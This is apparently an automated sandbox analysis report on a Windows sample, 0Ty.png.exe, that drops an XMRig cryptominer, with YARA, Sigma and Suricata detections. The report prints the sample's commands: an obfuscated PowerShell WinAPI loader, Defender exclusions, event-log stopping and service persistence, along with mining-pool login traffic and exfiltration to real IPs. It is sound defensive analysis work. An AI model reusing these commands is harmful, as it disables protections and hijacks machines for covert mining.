xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000041.00000002.2939799608.000002F62B721000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000041.00000002.2939799608.000002F62B6C9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x36fc08:$a1: mining.set_target 0x361e30:$a2: XMRIG_HOSTNAME 0x3647a8:$a3: Usage: xmrig [OPTIONS] 0x361e08:$a4: XMRIG_VERSION

Unpacked PEs

Source	Rule	Description	Author	Strings
65.2.dialer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
65.2.dialer.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x370008:$a1: mining.set_target 0x362230:$a2: XMRIG_HOSTNAME 0x364ba8:$a3: Usage: xmrig [OPTIONS] 0x362208:$a4: XMRIG_VERSION
65.2.dialer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3b5761:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
65.2.dialer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3b5fd8:$s1: %s/%s (Windows NT %lu.%lu 0x3b9600:$s3: \\.\WinRing0_ 0x3671a8:$s4: pool_wallet 0x3615d8:$s5: cryptonight 0x3615e8:$s5: cryptonight 0x3615f8:$s5: cryptonight 0x361608:$s5: cryptonight 0x361620:$s5: cryptonight 0x361630:$s5: cryptonight 0x361640:$s5: cryptonight 0x361658:$s5: cryptonight 0x361668:$s5: cryptonight 0x361680:$s5: cryptonight 0x361698:$s5: cryptonight 0x3616a8:$s5: cryptonight 0x3616b8:$s5: cryptonight 0x3616c8:$s5: cryptonight 0x3616e0:$s5: cryptonight 0x3616f8:$s5: cryptonight 0x361708:$s5: cryptonight 0x361718:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\0Ty.png.exe", ParentImage: C:\Users\user\Desktop\0Ty.png.exe, ParentProcessId: 7416, ParentProcessName: 0Ty.png.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7952, ProcessName: powercfg.exe

System Summary

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CKtjhrwjgtVV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OBERloAcZJvOcu,[Parameter(Position=1)][Type]$NRdDEuXiTK)$iAHAMhduySN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mor'+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,'+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'nsiC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+'s'+'',[MulticastDelegate]);$iAHAMhduySN.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OBERloAcZJvOcu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$iAHAMhduySN.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+'',$NRdDEuXiTK,$OBERloAcZJvOcu).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+'anag'+'e'+''+'d'+'');Write-Output $iAHAMhduySN.CreateType();}$qragMIYqXnsdW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'ho'+[Char](100)+''+'s'+'');$OvDFGAtJneNnnn=$qragMIYqXnsdW.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](10

Sigma detected: Potential WinAPI Calls Via CommandLine

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CKtjhrwjgtVV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OBERloAcZJvOcu,[Parameter(Position=1)][Type]$NRdDEuXiTK)$iAHAMhduySN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mor'+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,'+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'nsiC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+'s'+'',[MulticastDelegate]);$iAHAMhduySN.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OBERloAcZJvOcu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$iAHAMhduySN.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+'',$NRdDEuXiTK,$OBERloAcZJvOcu).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+'anag'+'e'+''+'d'+'');Write-Output $iAHAMhduySN.CreateType();}$qragMIYqXnsdW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'ho'+[Char](100)+''+'s'+'');$OvDFGAtJneNnnn=$qragMIYqXnsdW.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](10

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\0Ty.png.exe", ParentImage: C:\Users\user\Desktop\0Ty.png.exe, ParentProcessId: 7416, ParentProcessName: 0Ty.png.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\System32\dllhost.exe /Processid:{cf3d95db-0758-4a82-bfdc-72f769e75e83}, ParentImage: C:\Windows\System32\dllhost.exe, ParentProcessId: 8008, ParentProcessName: dllhost.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 920, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "HGLZSDMZ" binpath= "C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "HGLZSDMZ" binpath= "C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\0Ty.png.exe", ParentImage: C:\Users\user\Desktop\0Ty.png.exe, ParentProcessId: 7416, ParentProcessName: 0Ty.png.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "HGLZSDMZ" binpath= "C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe" start= "auto", ProcessId: 8176, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\0Ty.png.exe", ParentImage: C:\Users\user\Desktop\0Ty.png.exe, ParentProcessId: 7416, ParentProcessName: 0Ty.png.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7428, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\0Ty.png.exe", ParentImage: C:\Users\user\Desktop\0Ty.png.exe, ParentProcessId: 7416, ParentProcessName: 0Ty.png.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 3704, ProcessName: sc.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-25T17:23:07.931161+0100	2044697	1	A Network Trojan was detected	192.168.2.4	49731	85.209.133.29	80	TCP

ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-25T17:24:06.527059+0100	2051004	2	Crypto Currency Mining Activity Detected	192.168.2.4	49755	85.209.133.29	80	TCP
2024-12-25T17:25:06.831505+0100	2051004	2	Crypto Currency Mining Activity Detected	192.168.2.4	49775	85.209.133.29	80	TCP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-25T17:23:00.307417+0100	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.4	49730	194.164.234.171	10128	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe

ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: 0Ty.png.exe	Virustotal: Detection: 65%			Perma Link
Source: 0Ty.png.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\System32\dialer.exe	Code function: 24_2_0000000140001000 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,		24_2_0000000140001000
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_0000000140001000 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,		62_2_0000000140001000

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000041.00000002.2939799608.000002F62B721000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000041.00000002.2939799608.000002F62B6C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 194.164.234.171:10128 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"47fxvmqwe3icaroaa2otudltu9sjascu5xpzwpd9clqhswjmnjwpbojh6ffsyasrgfq9kuv7nqp2sisa3c4kwuggfshb9to","pass":"","agent":"xmrig/6.21.3 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2022","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Found strings related to Crypto-Mining

Source: dialer.exe

String found in binary or memory: cryptonight/0

Source: 0Ty.png.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
